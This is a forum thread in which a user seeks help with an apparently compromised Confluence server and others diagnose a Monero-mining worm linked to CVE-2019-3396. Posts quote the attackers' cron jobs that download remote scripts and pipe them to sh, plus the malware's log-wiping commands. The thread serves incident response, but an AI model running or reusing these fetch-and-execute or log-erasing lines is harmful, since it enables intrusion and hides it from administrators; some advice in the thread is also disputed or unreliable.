Server Hacked - Help Me Find the Cause

I think my confluence server has been hacked.

Any ideas what to do?

EDIT: found.

# crontab -u confluence -l
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh

Remove ‘sh’ links. Shit will break, but nothing important. Most system things are designed to use ash/dash.

Found this scripts

https://pastebin.com/6ptLSGAu
https://pastebin.com/UApPKNdr

I still don’t know completely what they are doing. I removed the cron job made by the attacker, removed the strange files in /tmp, changed user password and killed processes but they are still relaunching after seconds.

Oddly, they seem to be removing other malware - not that I’ve checked everything - but nearly at a NORTON level of CPU abuse to do so.

Then, you know, their own is awesomesauce.

Your “root” user was compromised. Anything can be happening there. It’s better to simply reinstall the whole thing from scratch and use the backups. Use a strong root password next time, change SSH port (or use Port Knocking), and update the kernel often because hackers love exploits.

Instead of wasting time trying to figure out what they did (from crontab to systemd, from rc.local to init.d, from loop processes with open ports and backdoors to IRC terminals in perl), it’s better to simply reinstall it again. They have root access like you do, while you read these lines. Grab your backups, and reinstall it.

EDIT:
Because you wish to find the “root” cause, there are only a few ways, as they seem to have root privileges already, so: either you had a weak root password; either they hacked a service you were already running as root; or they hacked a service that you were running as limited user, but they obtained root because you used an old kernel with a vulnerability which they exploited.

5 Likes

When the fight to be the #1 botnet reaches critical mass…

7 Likes

isn’t server management 101. ssh key login? how were they able to get root in that situation?
is it ok to admit I don’t know some of my server password but I guard my key like nothing else.

I don’t think root has been compromised. Only confluence user looks like affected.

Always.

Yeah I’m better reinstalling everything with a new version of Confluence

with or without swap?

What?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396
https://nvd.nist.gov/vuln/detail/CVE-2019-3396
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

2 Likes

Would highly recommend getting a snapshot of the server (if it’s a VM that allows that) and pulling it offline while you investigate. It’s likely an attacker will delete all the logs and/or use it for nefarious things like sending spam and port scanning, which can get you nullrouted.

One approach I’d take would be to compare old backups and see exactly what’s been modified. If you use Borgbackup, it has a borg diff command that’d be useful.

1 Like

@imok Could it be a XMR/Monero miner?

2 Likes

Most probably because CPU goes to 100% when those process are running.

I powered off the server until I can take action. Luckily this is a VM on a dedi.

It will be hilarious if CC blocks me for sending spam :joy:

Atlassian just sent this via email, which is probably it. It’s a different vunlerability (CVE-2019-3398) to the one @Yes linked to:

Received too, but it does not look related to me. I will make a new shiny installation next week.

Not sure how you concluded this, nothing so far points to this being true.

Please don’t.

This is a terrible advice. @imok will reinstall the server and attackers can get right back in.


Judging by the “confluence” user owning files and having stuff in their crontab, attackers definitely got in via that. Was SSH login possible through that user? If so and the user had a weak password… well here you go.

If not, the attacker came through the application itself, which means they did exploit some vulnerability in Confluence.

Here’s a virustotal of the malware itself, it seems to be a coin miner:
https://www.virustotal.com/#/file/a84283095e0c400c3c4fe61283eca6c13dd0a6157a57adf95ae1dcec491ec519/detection

This is heavily supported by the fact that in the scripts you found on your server, it tries to kill and delete all other known coin miners first (so all CPU power is available to it).

CAREFUL, it seems the script also looks at your known_hosts file and tries to log in to all servers there with your ssh key and install itself. Triple check that the server’s private key wasn’t used to log in to anything. With that said, this should only work if the script was executed as the root user (which doesn’t seem to be the case) - but it never hurts to check.

Don’t even bother inspecting system logs:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

What you should look at is Confluence + webserver logs, they should show how the attacker got in. You might see something like a suspicious POST request from an unknown IP, or a GET request with some garbage in parameters. This should reveal how the attacker got in in the first place.

What you ultimately need to do is to nuke the server, carefully transplant the database from your backups and install a brand new version of Confluence.

5 Likes

It’s just a weak worm (spreading only via known hosts) that spawns a Monero miner (khugepageds). It’s really well documented and there’s nothing special about it (you aren’t joining some botnet that is going to be interacted with by an actual criminal). You can do a full uninstall with the system offline or in rescue mode without worrying about any leftovers, but I understand you wouldn’t want to do that in production. The cause is almost certainly the CVE I linked (the other Atlassian ones recently are just path traversal) but if not, then it’s probably just an insecure SSH configuration…

If possible that sort of software should not be public facing anyway, although I understand why it can be a requirement. Thankfully you had it configured properly under its own user.

Just make sure you get a patched version of Atlassian’s S/W when you do the fresh install. Also WTF is going on with their versioning, no wonder so many people had problems with this despite their security announcements.

1 Like

same thing happened to me today

and I found this in my crontab

*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh

I have whmcs and plesk installed on this vps

1 Like

This is different. You’re infected by a very different malware. Must be a new thing (or obfuscated on the go), virustotal doesn’t report anything useful.